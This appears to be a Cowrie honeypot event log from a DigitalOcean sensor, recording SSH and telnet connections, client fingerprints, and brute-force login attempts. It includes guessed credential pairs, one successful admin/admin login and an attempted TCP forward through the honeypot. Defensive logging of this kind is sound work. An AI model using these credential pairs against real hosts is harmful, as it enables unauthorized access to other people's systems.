{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.282488Z","src_ip":"20.193.141.133","session":"7412eac47f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe@123456789","message":"login attempt [root/Qwe@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.361156Z","src_ip":"223.197.186.7","session":"ffeeac0c772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.467561Z","src_ip":"146.70.245.157","session":"9ed3cc6e9ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57558,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d760fdcef8","protocol":"ssh","message":"New connection: 185.236.22.41:57558 (159.203.135.109:22) [session: f2d760fdcef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.905936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:53.916812Z","src_ip":"185.236.22.41","session":"f2d760fdcef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:54.029784Z","src_ip":"185.236.22.41","session":"f2d760fdcef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter","message":"login attempt [peter/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:54.078980Z","src_ip":"20.193.141.133","session":"7412eac47f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:54.367708Z","src_ip":"185.236.22.41","session":"f2d760fdcef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:54.578175Z","src_ip":"223.197.186.7","session":"ffeeac0c772f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50980,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3decac98d5","protocol":"telnet","message":"New connection: 69.4.83.194:50980 (159.203.135.109:23) [session: 0b3decac98d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:55.198082Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:55.271507Z","src_ip":"20.193.141.133","session":"7412eac47f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:55.483326Z","src_ip":"185.236.22.41","session":"f2d760fdcef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1fac0c4502","protocol":"telnet","message":"New connection: 69.4.83.194:51488 (159.203.135.109:23) [session: 5c1fac0c4502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:24:56.529464Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39916,"dst_ip":"10.17.0.5","dst_port":22,"session":"302ae34337b2","protocol":"ssh","message":"New connection: 87.251.64.176:39916 (10.17.0.5:22) [session: 302ae34337b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:14.757716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:14.765957Z","src_ip":"87.251.64.176","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:14.864408Z","src_ip":"87.251.64.176","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:15.163435Z","src_ip":"87.251.64.176","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:15.263301Z","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:15.361337Z","src_ip":"87.251.64.176","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:15.461810Z","src_ip":"87.251.64.176","session":"302ae34337b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":26730,"dst_ip":"159.203.135.109","dst_port":22,"session":"7be73686ad92","protocol":"ssh","message":"New connection: 38.93.206.2:26730 (159.203.135.109:22) [session: 7be73686ad92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:17.601753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:17.606773Z","src_ip":"38.93.206.2","session":"7be73686ad92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:17.662657Z","src_ip":"38.93.206.2","session":"7be73686ad92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1245780","message":"login attempt [root/1245780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:17.826609Z","src_ip":"38.93.206.2","session":"7be73686ad92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:18.882334Z","src_ip":"38.93.206.2","session":"7be73686ad92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.500574350357056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:29.698546Z","src_ip":"69.4.83.194","session":"0b3decac98d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":35818,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8c163910537","protocol":"ssh","message":"New connection: 81.70.224.28:35818 (159.203.135.109:22) [session: b8c163910537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:32.684683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:32.689921Z","src_ip":"81.70.224.28","session":"b8c163910537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:32.920881Z","src_ip":"81.70.224.28","session":"b8c163910537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.33757138252258,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:33.866969Z","src_ip":"69.4.83.194","session":"5c1fac0c4502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:34.083134Z","src_ip":"81.70.224.28","session":"b8c163910537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54252,"dst_ip":"159.203.135.109","dst_port":22,"session":"b91e5468eea0","protocol":"ssh","message":"New connection: 62.133.62.83:54252 (159.203.135.109:22) [session: b91e5468eea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:48.243236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:48.248418Z","src_ip":"62.133.62.83","session":"b91e5468eea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:48.327599Z","src_ip":"62.133.62.83","session":"b91e5468eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika2005","message":"login attempt [root/vika2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:48.568070Z","src_ip":"62.133.62.83","session":"b91e5468eea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:49.651266Z","src_ip":"62.133.62.83","session":"b91e5468eea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41374,"dst_ip":"159.203.135.109","dst_port":22,"session":"1697dc86dcea","protocol":"ssh","message":"New connection: 103.15.222.183:41374 (159.203.135.109:22) [session: 1697dc86dcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:53.776141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:53.784071Z","src_ip":"103.15.222.183","session":"1697dc86dcea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:54.037258Z","src_ip":"103.15.222.183","session":"1697dc86dcea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5482","message":"login attempt [root/5482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:54.791117Z","src_ip":"103.15.222.183","session":"1697dc86dcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":39422,"dst_ip":"159.203.135.109","dst_port":22,"session":"a16a1df4f310","protocol":"ssh","message":"New connection: 20.6.35.235:39422 (159.203.135.109:22) [session: a16a1df4f310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:55.671050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:55.966198Z","src_ip":"20.6.35.235","session":"a16a1df4f310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:25:56.045210Z","src_ip":"103.15.222.183","session":"1697dc86dcea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 